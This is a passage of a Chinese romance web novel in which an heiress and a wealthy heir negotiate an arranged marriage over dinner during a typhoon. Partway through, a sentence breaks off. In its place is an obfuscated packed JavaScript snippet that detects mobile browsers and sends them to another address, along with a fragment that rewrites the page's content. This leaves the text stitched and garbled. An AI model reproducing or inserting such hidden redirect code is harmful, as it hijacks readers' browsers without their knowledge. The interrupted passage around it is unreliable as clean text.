《三号风球》 3. 陈三小姐 也不知是这位助理的无心之失,还是在刻意讨好她,亦或是这位助理经常安排此类晚餐,所以理所当然把她想成了庄少洲的女友之一。 不论怎样都有点奇怪,一个助理而已,小心思可真多。 陈薇奇退出邮箱,镇定自若地准备接下来的短会。 近期蕤铂的重点无疑是下个月的百周年纪念晚宴和高珠大秀活动,其中牵扯了诸多细节,包括预热造势,晚宴流程敲定,场地布置设计图,宾客的邀请和对接,物料拍摄……每一个环节都需要陈薇奇首肯。 会议结束后,公关部负责人欲言又止地跟在陈薇奇后面。 “有话就快说,我还要赶晚饭。”陈薇奇看她一眼。 蒂娜抿了抿唇,“陈总,就是邀代言人的事。” “代言人怎么?”陈薇奇步伐不停,高跟鞋敲出利落的节奏,边说边走。 “这次活动需要把品牌方认证的所有代言人都邀请过来,还要提前拍物料,所以,所以…” 陈薇奇蹙眉,瞥了一眼蒂娜,蒂娜垂下眼,抱着早死早投胎的心态,语速飞快地提醒:“陈总,周霁驰先生也是高珠系列的全球代言人之一,我们是否也要请他光临。如果不请他的话,我怕粉丝会炸锅,如果请了……” 请了周霁驰,也会炸锅。 分手后首次同框,还是在这样敏感的时间点,不可控的因素太多了。 谁不知道陈薇奇和周霁驰恋爱后,一个月就官宣了周霁驰成为蕤铂的全线代言人,顶奢珠宝的代言直接让周霁驰身价飙升,两次全球地广的待遇更是让粉丝直呼品牌真爱。 不是品牌真爱,是陈薇奇爱起谁来很疯狂。要把所有能给的都给他。 蕤铂也因为这场恋情获得了前所未有的热度,经典系列销量暴涨400%,尤其是那款象征爱情的飞羽对戒,更是卖到全球所有专柜断货。 豪门千金和当红小生的爱情就是在叠buff,这是一场能写进商业教科书的双赢。 当初恋情带来的热度都在分手后成为反噬,蕤铂的品牌形象也受到了影响,粉丝嘲讽飞羽系列不如改名为各自飞系列。 正因如此,沪城百年大秀的活动对蕤铂来说至关重要,不容许出任何差错。 蒂娜和其他几位高层私下分析过,两害相权取其轻,不邀请周霁驰是最好的选择。 陈薇奇神情恍了恍,脚步不自觉停下,她一言不发也不知在想什么,纤细高挑的身体宛如一根停止跳动的指针。 沉默的空气快让蒂娜呼吸不过来,她偷瞄了一眼老板的脸色,瞧不出来什么,她的老板冷静到不像刚结束一场热恋的女人,看来很有可能如狗仔小报说的,是周影帝被甩,大小姐玩腻了。 “陈总,这事还得您指示。” 陈薇奇公事公办的语气很平静:“所有代言人都要请,这是你的分内之事,你来问我做什么?” 蒂娜得了一顿训斥,羞愧地低下头,但心里舒服多了,因为这事纠结了好几天,现在有陈薇奇发话,她自然就知道接下来的工作该怎么做。 “抱歉,陈总,下次不会了。” 陈薇奇快步上了电梯,在没有人的地方,她肩膀靠上轿厢,很克制地做了一个深呼吸。 大脑是前所未有的乱,她余光不小心瞥见镜面中的自己,仍旧是妆容精致的脸,只可惜面具戴得并不牢实,稍有松动,脆弱和狼狈就从缝隙里钻了出来。 陈薇奇不是很喜欢这样的自己,她是非常骄傲的人,从小到大,都视脆弱和狼狈为耻辱。 可是她并不知道,太过骄傲的人总是容易折碎。 回到办公室后,陈薇奇换了一条适合晚餐的长裙,把上班用的大号包也换成精致的链条小斜跨,看了一眼表,已经到了五点四十,再不出发就要迟到了,趴在地毯上无聊玩小熊的宝宝在这时跑过来,冲她嘤嘤叫唤。 陈薇奇旋出口红补妆,“宝宝,不能带你去。你就在办公室自己玩,我完事了来接你,不会很久。” 宝宝着急地围着陈薇奇打转,又嘚嘚儿地把牵引绳衔过来,扔到陈薇奇面前。 陈薇奇:“………” 一人一狗对视几秒,陈薇奇无奈地把牵引绳给宝宝穿上,又换了一只更大尺寸的Birkin当做狗袋,把它塞进包里。 小狗脑袋从包里探出来,很乖巧地眨着圆眼睛。 阿斯顿马丁在暴雨中飞驰,一路上,陈薇奇反复警告这只被她宠坏的小狗: “等会不准随便舔别人,不准对除我以外的任何人摇尾巴,更不准跳到别人怀里讨食物,最后!” “不准凶人。” . Monblue今日被包场,空荡而华丽的餐厅里,钢琴师正在弹奏轻快的圆舞曲,伴随着暴雨的白噪音,像一支孤独的舞蹈。 庄少洲倚在一张雪茄椅中,漫不经心地听着电话,高眉深目尽数拢在阴沉的天光里。 “臭小子,和薇薇见面后说话客气点,别像个吊儿郎当的花花公子,小心把我儿媳妇吓跑了,我让你吃不了兜着走。”电话那头的声线很是高亢利朗。 庄少洲无聊地欣赏着玻璃窗上波浪似的水痕,很轻一哂,“你怎么就知道她会是你儿媳,八字没一撇的事。” “人家答应见你就是有诚意,你又长得讨女人喜欢,身材也好,这婚事但凡不成都要怪你表现太差,脸都救不回来。不过你最近没事跑去加州做什么,肯定晒黑了,女孩都喜欢白的。” 庄少洲揉了揉眉心,语气带着轻微地不耐,还有一股隐隐的倨傲,“我不是靠脸吃饭。” 电话里响起好一阵爽朗的笑声,和刻板印象中的豪门贵妇形象完全沾不上边。 黎雅柔嘲讽起儿子来是半点都不收着,“啧啧啧,含沙射影什么呢,你以为你妈听不出来?介意人家有前男友呀?现在哪个女人还没几个旧爱,她前男友跟个小白脸似的,哪有你带劲,自信点儿子,再不济,你也比她前男友有钱!妈咪还是更看好你!” “…………” 庄少洲实在是不想继续这通毫无营养的对话,沉声催促她快点挂线。 “花和见面礼记得送。” “扔了。”他吊儿郎当。 “臭小子…回来我揍死你!我这辈子最倒霉的就是生了你们三个臭小子!你赶紧再订一束,人家驰仔一看就是温柔体贴型,你本来就输在起跑线上,还在这摆谱,小心薇薇真看不——” 庄少洲面无表情地对上狂风暴雨,径直打断:“黎女士,您小心把我的耐心耗完,等会她来了,我只能对她不耐——” “庄先生。” 一道低婉的嗓音从身后响起。 庄少洲神思一跳,硬生生止住话头,饱满的喉结滚动一息。 这音色很特别,不似一般年轻女孩的清脆和甜美,接近于绮靡的质地,像一杯拥有红宝石光泽的葡萄陈酿,以至于光凭庄先生三个字,就让他准确地辨认来人。 庄少洲低低说了一句“回聊”,掐断电话后他看了眼表,指针居然刚好走到六点,分毫不差。 陈三小姐的骄傲让她不肯早到一分钟,教养又让她不会迟到。 他正色后回过头。 陈薇奇就站在离他两三米的地方,怀里抱着一只小狗,双眸清清淡淡地睇过来。一袭贴肤的宝蓝丝质长裙显得她尤为高挑,宛如从深海中走出来的塞壬女妖。 两人的视线在空气中相碰,钢琴声停得很巧妙,一时只剩下空旷的白噪音。 庄少洲不动声色地挑了下眉,从前几次见她都是一头精心打理的长卷发,妩媚又风情,非常诱人,没想到剪得这么不可惜。 女人半边短发就掖在耳后,露出轮廓精致的耳朵,一只蜂鸟造型的耳环在空中微微晃荡,艳得很冰冷。 狐狸眼,挺鼻,红唇丰润,下巴微翘,漂亮到这个地步,其实无所谓做什么打扮。 庄少洲的第一反应倒不是她剪了短发,也不是她够漂亮够带劲,而是她瘦了。 因为瘦了,那份生人勿近的骄傲更盛,更浓,几乎濒临破碎。 陈薇奇知道这个男人在打量她,很敷衍地笑了笑,非常短暂的几秒,庄少洲收了漫不经心的姿态,站起身来。 “陈小姐,你好。” 男人声音低沉而温柔,不紧不慢地把敞开的马甲纽扣系上,修长的食指套着一枚银色戒指,折着冷光。 坐着倒是不觉得,站起来才知道他有多高大,陈薇奇怔了怔,下意识仰起头去看他。 他比一般个高的男人还要高出小半个头,穿着一身斯文的衬衫和西装马甲,相当绅士地站在那,什么也没做,仍旧有一股强烈的存在感。 袖口很随意地挽着,黑色皮质袖箍乖顺地束着他强劲的手臂,如同束缚在骏马身上的水勒。 男人容貌俊美锐利,是很有冲击感的英俊,眉眼间的深邃带着厚度,让人无法看透。 和周霁驰完全不同,不论是出身,长相,气质,还是性格,完全不同。 陈薇奇以前只和庄少洲在社交场合打过照面,从未近距离接触,当他一步一步朝她走来时,她感受到空间在被一寸寸侵略,像热带气旋登陆。 这种强烈不止她感受到了,怀里的小狗也受到影响——动物对危险的直觉是天生的。 宝宝害怕地瑟缩在陈薇奇怀里,朝着走近的男人发出低吼,警告他不要再靠近。 “宝宝,听话点,不准凶。”陈薇奇尴尬地拍拍它的脑袋。 宝宝仍旧龇牙咧嘴。 “…抱歉,它可能有些怕生。”陈薇奇无奈地说。 “无事,你安抚它。”庄少洲微笑,绅士地没再往前。 他并不会因为一只可爱小狗的挑衅而不高兴,只是想到弟弟的调侃,说他是猫嫌狗嫌体质,倒是有几分真? 陈薇奇抱紧怀里的宝宝转了个方向,避开庄少洲,轻拍加以温柔安抚,“不怕…小库哥不在呢,这个哥哥不会欺负你…哎…就知道不该带你来。讨厌鬼。那不然钻进包包里?” 她就在那温声软语地哄着小狗,很专注,短发丝丝缕缕垂落,模糊了她美艳的轮廓,无奈笑起来时有种 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陈薇奇不喜欢被人俯视,更不喜欢被人当做猎物,她迅速扶着茶几站起来,身姿高傲,丝毫不肯落人下风。她微笑说:“抱歉耽误了时间,可以开始了,庄先生。” 庄少洲看出她一身的刺,无奈地抬了抬唇角,按下服务铃。 很快,守在门外的服务生就敲门而入,他吩咐上菜,又交代厨师长做一份狗狗吃的食物,随后绅士地拉开一把餐椅,风度翩翩地冲陈薇奇颔首:“陈小姐,请。” “唔该。” (谢谢) 陈薇奇优雅地坐下,椅子非常贴合地被推进来几寸,让她不必再调整空间,非常精准,周到,让人怀疑他为多少女士拉过椅子。 这让陈薇奇紧张的心情忽然轻松起来。 都说庄家二少英俊多金,风流倜傥,身边红粉佳人无数,从不缺爱慕他的女人。对这种男人而言,结婚就是逼不得已,应付家里的手段而已,陈薇奇很清楚,所以才敢和他做交易。 她的要求很简单,不怕他不乐意。思及此处,陈薇奇换了个更舒服的坐姿,开始松弛地打量这间包厢。 比上次和陈北檀吃饭的包厢要小,但布置更精美。 一面半人高的长形鱼缸镶嵌在墙壁中,各种海洋鱼在斑斓的珊瑚中穿梭,幽蓝的光在海水中荡着。宝宝被吸引,从包里跳出来,趴到鱼缸边目不转睛。 钢琴声又开始响起,一首沉缓的舒伯特在空间中流淌,餐桌上新鲜的花束凝着水珠,四道精致可口的法式前菜… 每处细节都是约会的配置。 陈薇奇想到那封邮件,不免好笑。 是啊,谁都会觉得他们今晚是一场约会,但这只是一场交易。 “喝饮料还是酒?”庄少洲问。 “无酒精的就好。”她有戒备心,不和陌生男人喝酒。 庄少洲嗯了声,拿起冰桶里那支无酒精香槟,用毛巾包住,又从架子上取了两只水晶高脚杯,色泽明亮的液体顺着杯壁滑下去,小气泡挨个炸开,葡萄味很清新地弥漫出来。 男人把其中一杯送到陈薇奇手边,也不知是不是没控制好力道,酒杯很轻地碰上她的手指。 陈薇奇被冰了一下,指尖像翅膀般微微颤动。 庄少洲似乎没有察觉到她的不自然,端起酒杯看向她,低声说:“初次见面,陈小姐,有招待不周的地方,可以告诉我。” 他的声音很好听,冷冷沉沉的低音炮,带着一种不动声色的性吸引力。 他的确是一个很性感,对女人有很强吸引力的男人。 陈薇奇在小姐妹的聊天局里听过无数次庄少洲的名字。 有钱有闲又性格开放的女孩们聚在一起,免不了讨论一些成人话题,如今港岛出名的几位公子少爷都被品头论足过。其中提到庄少洲的次数是最多的,提到他时也是最脸红心跳的。 说他身材够劲,肩宽腰窄胸肌饱满,还说他声音很苏,适合给女人讲情话,偏偏这种男人是庄家太子爷,只能远观不能亵玩,她们边说还边叹气。 陈薇奇只觉得好笑,还有些热和尴尬,所以每次讨论庄少洲的时候,她就自动远离。 不过这些对陈薇奇来说都不需要考虑,庄少洲就算是唔掂(不举)她都OK,她要得到的是体面风光的婚姻,Reberi的绝对掌控权,以及把那些想看她笑话的人狠狠踩在脚下。 陈北檀说得没错,庄少洲是最好的选择。 陈薇奇举起酒杯,碰上去,清脆的一声,像碰撞那面鱼缸。 她将香槟饮尽,随后勾出妩媚的笑来,声音靡靡动人,“庄先生,我就不浪费时间了,我的情况你应该知道吧。” 庄少洲慢条斯理地放下酒杯,温和地问:“陈小姐是什么情况。” 陈薇奇:“我有一个前任,而且人尽皆知,我和他刚分手一个月。” 太直白了。 几乎是话落的一瞬间,男人平静的眸色中闪过一丝冷戾,流逝得太快,陈薇奇几乎以为自己看错了。 . 4.气旋入侵 一个人尽皆知的前男友。 庄少洲笑意不变,从口袋里摸出金属烟盒,点烟之前根本没有问过陈薇奇的意愿。 一个绅士不该如此,有点故意的意思。 “这事闹挺大的。”男人抽烟的姿态有些蛊,烟灰随意弹入酒杯,低音炮沉缓,带着一股惊心的冷意,“陈小姐的恋情,港岛无人不知。” 既然人尽皆知,又何必再跟他重复一遍,怕他知道得不够详细? 陈薇奇抿了下唇,她是故意把话说得不好听,想试探他的反应,没想到果然很冷淡。 和周霁驰分手的消息闹得沸沸扬扬,在这个敏感的时间节点答应和他谈婚论嫁,这事,换成任何一个男人都不见得有他这样淡定。这种淡定明明能让她松口气,可不知为何,空气中有一股令人心慌的低气压盘旋着,不知是从何处而来。 也许是窗外渐渐晦瞑的天色,冰雹大小的暴雨,噼里啪啦地砸落。那天色恐怖得,仿佛整个港岛都即将陷落。 陈薇奇看着那只空掉的酒杯,“是闹得挺大,庄先生知道归知道,我主动说是我的诚意。我没有找茬的意思,您别多想。” 她抬起脸,柔柔一笑,“庄先生,我们都知道今晚这顿饭是为什么,是吗?” 庄少洲眯了眯眸,“自然。” “我只是不想你对这事有任何疑惑,嗯…或者说芥蒂,毕竟我已经和他分手,都是过去的事了,以后自然也不会…” 那靡靡动人的声音突然顿住,像挨了一记闷棍。 陈薇奇没有想到不过是一句话而已,说出来居然如此艰涩。 ——以后自然也不会和他再有任何关系。 仿佛一旦说出口,过去的一切爱恋的回忆就都成了眼前这一团团白雾,陈薇奇一时间心中钝痛,手指紧紧压住那方餐布。 “不会什么?”庄少洲不给她丝毫犹豫的时间,出声问她接下来的话。 陈薇奇回过神来,面前的男人正直勾勾地凝视她,占满她的视线,一时间让她无暇分心去想任何人任何事。 庄少洲的眼睛很漂亮,标准的桃花眼,双眼皮褶皱深,灯下的瞳孔颜色会淡一些,类似深烘过后的咖啡豆,这样深情的双眸不带表情地盯着人时,很有压迫感。 ——庄少洲不好应付。 陈薇奇再次得出结论,她要么在商言商,要么趁早离席。 “不会什么?”他耐着性子问第二遍。 “不会再有关系,也不会影响我们的联姻。你和你的家人都可以放心,不用在意这个。这是我的承诺。”陈薇奇平静说完,那只蜂鸟耳坠在空中荡了荡,飞不起来,又回落下去。 庄少洲静了片刻才出声,“我当然不会在意。” 他把烟头熄灭在酒杯里,按铃喊服务生进来换一个杯子,服务生很快拿来崭新的酒杯。 庄少洲为陈薇奇续了一杯香槟,英俊的眉眼很淡,难辨情绪,“陈小姐愿意对我说这些,我很意外,想必我们之间的事你已经有了打算,不妨直说,能答应的我都答应你。” 陈三小姐不是吃亏的性格,失去了什么,就一定会从别的地方找回来,肯主动提出结婚,一定是把利害关系剖白得清清楚楚。 陈薇奇的指腹搓了下细腻的丝绒桌布,在他平直的目光之下,也不再弯弯绕绕,很有生意场上八面玲珑的味道,“我的要求很简单的,需要庄生在人前扮演好丈夫的角色,至于人后…” 她的笑容很美,眼底却空空,是一个绝对合格的生意人,把自己都交易得如此轻松。 圈里的婚姻大多是这样的,她的父母不就是吗? 人前和睦,人后冰冷。 “人后我们可以各过各的。我不会管你,只要…你别做得太过分。” 庄少洲微笑,顺手开了冰桶里那瓶轩尼诗,给自己倒了半杯,他轻声问:“什么是太过分?” 陈薇奇笑着说:“只要庄生不把女伴带到我眼前来,不让我的朋友和家人知道,打点好媒体,其余的我都不会管,我只要一场看上去足够体面足够光鲜的婚姻。” 意思是,她默认他能在外面搞三搞四。 庄少洲一时间错愕,半个字都说不出口,只能沉沉地注视着她那张漂亮的脸。 原来她比他想象中还要坚硬,简直就是一朵扎手的玫瑰。他其实不太喜欢这种女人,不可爱,不柔软,不好打动,让人不知道是该对她好一点,还是干脆不要触霉头。 庄少洲咽下一大口酒,如饮着火烧的冰河,他勾起唇角:“好啊,陈小姐。” 他应得太轻易,甚至有些轻佻。 “那就是说,你答应了?”陈薇奇看着他,到这时,笑容才真正明媚而轻松。 “为什么不答应。” 庄少洲似笑非笑地看着她,嗓音被烈酒烧过,喑哑着,“有陈小姐这样大度的妻子,是我的荣幸,我该感恩才是。愿意和别的女人分享自己的老公,庄某大开眼界啊。” 他的语气太过讥讽,陈薇奇脑中轰然,笑容僵住,脸色一瞬间难看极了。 从小到大,陈薇奇从未被谁当面嘲讽过,和一个陌生男人做这种赤裸裸的交易,本身就是很难堪的一件事,对方非但不领情,还冷言嘲讽她道德有问题,这对她而言不亚于奇耻大辱。 陈薇奇克制地深呼吸,保持平稳语气:“庄公子何必说话这么难听,不领情就算了,你别欺人太甚,我又不是…” 她掐住指尖,告诫自己不要意气用事,谈不成也没必要惹他,得罪庄少洲会很麻烦。放眼整个港岛,不会有谁愿意得罪庄家的人。 可陈薇奇觉得屈辱,委屈,甚至有一点难过。 她何尝不想拥有一段美满婚姻,若不是不得已,谁会说这样一番上不得台面的话,做这样一番丑陋的交易。 “又不是什么。”庄少洲眸色降至冰点,透着一些冷酷的意味。 陈薇奇猛地别过脸,冷笑,“又不是非你不可。多得是人选择,庄公子既然是这种态度,那就算了吧。” 她说完就冲趴在鱼缸前的小狗喊了一声,宝宝摇着尾巴,恋恋不舍地回头。 “回家了。”陈薇奇蹙眉。 “嗷呜……” 陈薇奇咬牙,坏狗!只能亲自去捉,她一把拎起包,绕过长桌,对面的男人也跟着施施然站起来,长腿几步就绕到她面前,很无赖地拦住她,不让她走。 他高大的身体像极了一堵墙,完完全全笼罩住她。她并非瘦弱的体型,却被他衬得过分纤细柔弱。 “让开——” 她一字一顿。冷艳的面容没有任何表情,优美的仪态自带一股不可进犯的高傲。 庄少洲垂眸注视着她,看见她睫毛在轻颤,“陈小姐气性这么大,一句重话都受不了,居然能忍得了自己老公在外面三妻四妾。” 陈薇奇恼怒的瞪他一眼,“请你不要曲解我的意思!” 庄少洲的口吻慢条斯理,字字句句都冷静,带着一股克制,“陈小姐不就是这个意思?让我结婚后去养情人,还肯帮我打掩护,是觉得我在外面找了,你就可以在外面找,是吗?陈小姐打的好算盘。” 他眼中闪过很躁郁的情绪,嗓音很低,宛如沉入一片深不见底的黑海,“不妨说说看,陈小姐婚后想找谁做情人?” 他的话只差挑破那个名字。 陈薇奇的瞳孔缩紧,一颗心好似在饮冰,又被庄少洲过热的气息折磨。 窗外的天气每分每秒都更恐怖,狂风暴雨,吹得路上的行人和车马都摇摇欲坠,天文台预警代号为”黑豹”的台风将在今夜凌晨强势登陆港岛。 陈薇奇盯着玻璃上那些扭曲的水痕,恍惚地想,难道她结婚后还会去找周霁驰? 【阿驰,我想了很久,我们还是分手吧。】 【你已经决定好了吗?】 【是。】 【嗯,我尊重你的决定。薇薇,祝你万事精神,永远风光。】 真的结束了。 她是多么多么骄傲的人,不会做这种不体面的,折辱她自己也折辱周霁驰的事。 包厢一时间极静,像掉进了那面鱼缸,深蓝光影虚虚幻幻地投映在两人周围。主厨早就等在包厢门外,听见里面的争吵,不知道进还是不进。 就这样无声的对峙着,很难熬,直到陈薇奇听见头顶传来一声叹气。 庄少洲俯身靠过去,属于男人的灼热气息一瞬间罩过来,她身体紧绷,鼻息里嗅到了苦涩的烟草,还有一股非常复杂的香气,洁净且温柔,她短时间只能辨别出其中有一味佛手柑。 下一秒,男人很温柔地把她的手指一根一根掰开,把她紧抓着的包拿走,“我知道陈小姐不愿看见我,晚餐是为你准备的,要走也是我走。” 就在这时,门外很合时宜地传来敲门声,“庄生,需要上餐吗?” “进来。”庄少洲把包放在沙发上。 陈薇奇蹙了蹙眉,飞快敛去一切情绪,重新挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687524|144213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上得体的笑容。庄少洲将她这一系列娴熟的动作尽收眼底。 主厨亲自端着今晚的主菜走进来,是一位法国人,中文说得很流利,甚至会讲几句蹩脚的港府话。 “陈小姐,今晚为您准备的主菜是香草焗蓝龙,搭配了口感清新的青柠调白酱,希望您能喜欢。” 陈薇奇优雅地说谢谢。 主厨愉快地介绍另外几道主菜,一道莓果鸭胸肉,一道融合了越南风味的意面,一味石斛螺片清汤,一份静冈蜜瓜,就连宝宝面前也摆了肉类和蔬果拼盘,中间硕大而肥美的水煮蓝龙肉扎眼,小灵缇哪里管那么多,有吃的就吃,它埋头开干,暴风式吸入。 一行人出去,沉默的气氛再次笼罩,只有小狗舔盆子的噪音。 庄少洲把搭在沙发椅背的西装捞起来,走到餐桌边,拿起烟盒和打火机,从陈薇奇身边擦身而过时,他脚步顿住,偏头看向她,“陈小姐,我会给你一场风光体面的婚姻,也会对我们的婚姻绝对忠诚。” “?” 陈薇奇疑惑地看向他,不太明白他突然说这些是什么意思。 庄少洲并不接她的目光,侧身而对,长指不耐烦地捏紧打火机,“但我不可能容忍我的妻子三心二意。陈小姐,你最好不要心存幻想。” 包厢门关上,世界再次陷入静止,只剩暴雨带来的白噪音,那些压迫的气息也随之散去,剩下佛手柑的温柔气味,他身上的味道居然和他这个人完全不同。 餐桌上的食物精致昂贵,陈薇奇没有食欲,还是强迫自己坐下来,拿起刀叉,大脑里乱糟糟地,耳畔还回荡着男人那句话—— 他会对婚姻忠诚。 听上去很像一句承诺。 可是他何必承诺她什么。 . 庄少洲从包厢里出来,抬手拽松了领带,心烦意乱地点上一根烟。 主厨埃蒙走过来,恭敬地问他菜品怎么样。今晚是大老板第一次单独邀请女孩用晚餐,餐厅上下都严阵以待。 很少有人知道,Monblue餐厅的幕后老板是庄少洲。 一口没吃的庄少洲说了句还不错。 埃蒙看出来老板情绪低沉,耸耸肩,竖起大拇指,用蹩脚的粤语说:“那个女孩像维纳斯,哦,不不,像雅典娜,你们靓女靓仔,不能更般配了。” 庄少洲勾起唇,漫不经心的弹了弹烟灰,自嘲地说:“是吗?也许她觉得我配不上她。” “走了,埃蒙,替我照顾她,想方法让她把东西吃完。”庄少洲拍了拍埃蒙的胸口。 白秘书从洗手间出来,发现老板居然要走,他连走带跑追上去,“老板!” 庄少洲咬着烟,经过前台时,伸手在黄铜托盘里抓了几颗黑巧放进口袋里,今晚没吃饭,他怕还没到家就饿死。 “让司机去开车。我喝酒了。” 白秘书一副很急又欲言又止的模样:“就走啊?” 庄少洲看他一眼。 “那太太交代的花和见面礼…” 庄少洲把这事忘了,本来是打算送陈薇奇回家时再把东西拿出来,他蹙着眉,语气有些不耐:“你不知道去送?” 白秘书心想这不是要他死吗。太太那脾气,若是知道他越俎代庖,会把他训到狗血淋头生无可恋。 “我不去…”白秘书弱弱地反驳。 庄少洲:“………” “那就扔了。”他把烟扔进垃圾桶,剥了一颗黑巧,厚重的苦味在舌尖融化。 白秘书眼睁睁看着老板甩手走人,只好硬着头皮把花和礼物从前台的柜子里取出来。 花放在保鲜柜里冰着,拿出来的时候,幽微的香气中好似凝结了一层清霜。 白秘书觉得怪可惜的,花是老板亲自在花店挑的,亲自送才有效果啊。 让他一个助理瞎凑热闹做什么。 就在白秘书思忖着见到未来夫人后,该说什么比较讨她欢心时,电梯门关了又开,高大的男人大步流星折返回来,顺带把抓在手里的西装套上。 “怎么了?”白秘书不解。 “你等会留在这送她回家。”庄少洲神情冷淡地吩咐,把花和礼物拿过来。 昏暗静谧的灯光下,娇艳的紫色玫瑰被男人拥在怀里,他低垂脸,看了一眼,拢紧。 直到自家老板进了包厢,白秘书才叹口气,他其实很想提醒一句。 冷着脸送花效果也不好,很有可能送不出去。 . 5.鲁伯特之泪 陈薇奇还在想着刚刚发生的一切,对食物并不热络,不过令她意外的是,每一份菜品都很符合她的口味,就连陈北檀点菜都不一定能做到每样都是她爱吃的,总有那么一两道入不了她的眼。 她是很挑剔的人,不合心意的食物她不会动筷。 空荡荡的包厢里,仍旧只有这只小狗陪伴她。 陈薇奇坐在偌大的长型餐桌前,安静地拿刀叉切那份鸭腿肉,纤薄的背脊在无人处也很挺直,很像一只孤独而骄傲的天鹅。 包厢门敲了两下,陈薇奇当是上菜的服务生,说了一句进来。门打开,脚步声匀缓地靠近,那股即将消散的佛手柑再一次深刻地弥漫过来,如一股山谷中温柔的风。 陈薇奇轻微一滞。 离开的男人重新出现在眼前,长臂揽抱着一束娇艳怒放的紫色玫瑰,目光平直地看向她,浑身气息沉冽,怎么看都不像是来送花的。 陈薇奇扫过那束花,眉峰很淡地挑了挑,也不说话,就这样看着庄少洲。 庄少洲被她盯得有些不自然,只能怪自己太冲动,让白秘书送就好了,何必去而折返,白给她看个笑话。 什么花和礼物,非要他亲自送?她陈薇奇没有非他不可,他就非她不可了?都不过是顺从家里的安排,结一场看上去体面的婚。 他肯结这场婚,不过是因为她盘靓条顺罢了,可盘靓条顺的女人又不止她陈薇奇一个。 他该如她的意,结婚后养十个八个女人,花天酒地,声色犬马,顺带对她和她那小明星前任睁只眼闭只眼。 庄少洲冷漠地滚了滚喉结,把花和手指上勾着的小纸袋一起放在餐桌上,“母亲让我带给你的礼物,喜欢就戴着玩玩。” 长辈送的礼物陈薇奇不好推辞,点了下头:“替我谢过黎太。” 她很骄傲地坐在那,不说任何留他的话。 庄少洲压根没奢望陈薇奇能软一软态度,她若是软了,也就不是陈薇奇,但她这样倔,到底让他不悦。 “慢慢食。” 他冷淡地留下一句。 人走后,陈薇奇才松泛下来,定了定神,目光转向这束花。 她是玫瑰控,认识各种各样的玫瑰,眼前这种紫色玫瑰应该叫碧海,花型很大,花瓣宛如钻石的棱角而且层层密密,被简单的黑色绸布裹着,好似夜色中的一段华丽的霓虹。 若说花也是他母亲送的,未免太牵强了。 那庄少洲送她花是为什么,示好,哄她,还是为那番冷嘲热讽而道歉?打一个巴掌喂一颗枣吗? “庄公子这是看不起谁呢。” 陈薇奇不以为意地笑了笑,玉软花柔的纤细手指把玫瑰花推远,再把那份礼物扔进包里,像扔一份随手在便利店买的薄荷糖。 离开的时候,玫瑰花被孤零零地留在了包厢,没有带走。 . 载着庄少洲的那台宾利开去了香山会所。会所坐落在一家依山傍海的私家花园里面,车沿着绿脉匍匐的山路,紫薇和鸡蛋花被雨水打得七零八落,落了整个山道。 一朵花被海风吹到玻璃上。庄少洲偏头看了一眼,玻璃映出他冷淡的眼睛。 她会把那束花扔掉吗? 庄少洲忽然想。 保安远远看见熟悉的牌照后立刻放行,对着车身鞠躬。车一路开到地下停车场,司机把车门上的雨水擦净,这才为后座的男人拉开车门。 这场台风对这群豪门少爷来说似乎并没有什么影响,该玩玩该吃吃,干净无尘的皮鞋甚至无需踩到雨水。 这家会所采取严格的会员制,迎来送往皆是达官显贵。郑启珺喜欢这里的环境,经常在这里请客打牌,渐渐地,一圈少爷都把这里当做驻点。 包厢里麻将的声音很吵闹,庄少洲进来后,牌桌上的几人都不约而同地愣了下,彼此交换眼神。 郑启珺十分钟之前还在那说庄少洲今晚和陈家三小姐约会,来不了,现在不止来了,还点了一份简餐。 “有病啊,你晚上不是和陈薇奇吃饭吗?”郑启珺看热闹不嫌事大,牌也不打了,坐过来盯着庄少洲上下打量。 庄少洲倚在沙发里,兴致缺缺地拨弄着手腕上的皮质表带,“我心情不好,你少嘴欠。” 郑启珺笑了声,他又不是瞎子,当然知道这人心情不好。郑启珺火上浇油地凑上去,手指点了点他的腕表,“现在才七点半,陈薇奇放你鸽子了?” 庄少洲勾了勾唇,“滚。” 郑启珺笑得几分痞气,抛给他一根雪茄,“试试,你喜欢的味道。” 庄少洲其实没太想抽,纯属打发时间,将其点燃后,静静地凝视那些灰白色的烟雾,在空中升腾,消失。 半晌,他才出声问:“阿珺,我是不是看着像私生活不检点的人?” “??” 郑启珺愣了几秒,随后笑得双肩发颤,雪茄差点烧到腿,“谁说你私生活不检点?陈薇奇?我就说你怎么这么早结束!” 庄少洲冷漠地看着好友笑到抽搐,就知道不能问,没事都问出事了,“不是她说的。” 他一句多余的解释显得索然无味。 陈薇奇的话里话外,和骂他私生活不检点有什么区别?庄少洲一时心口冷郁,沉沉吸进一口雪茄,辛辣的肉桂和雪松的味道在舌尖弥漫,是苦涩的,要很仔细,很专注地体会,才能察觉出一丝缥缈的香甜。 像极了陈薇奇带来的感觉,又苦又辣,甜是幻觉。 “你应该跟陈薇奇解释,你这叫阅遍繁花,片叶不沾。”说人话就是看过的美女很多,其实一个都没沾过。 “你要是乱搞男女关系,你自己能把自己先脏死。你这洁癖啊……害人。” 其实庄少洲的洁癖很大一部分是针对人,而不是物,旁人碰他一下,他都要不舒服,更别说随便发生关系。 郑启珺笑够了,抻了个懒腰,锃亮的皮鞋吊儿郎当地搭在茶几上,“要我说,肯定是你长得太招蜂引蝶,一看就是渣男。你不招别人,别人要来招你,别说你不知道那些女人怎么讨论你的。” “哪些女人讨论我。”庄少洲并不感兴趣有谁讨论他,意兴阑珊地顺下好友的话,包厢里的笑声闹声麻将声吵得他心烦意乱, 他平时很少和圈里那些千金小姐沾上边,平时出席需要携带女伴的活动,也只找集团公关部的员工,或者小姨手底下那些家世清白,知情识趣又懂分寸的女模特。 “就是陈薇奇的那些小姐妹,还能讨论什么,讨论上你什么感觉呗,恨不得把你裤子扒了量尺寸。” “……………” 庄少洲抽烟的动作顿住,静了片刻,才缓过神。陈薇奇私下里都玩些什么乱七八糟的朋友?难怪他在她心里风评极差。 “什么乱七八糟的。”他语气并不冷漠,甚至有一丝无奈,好像是在纵容什么。 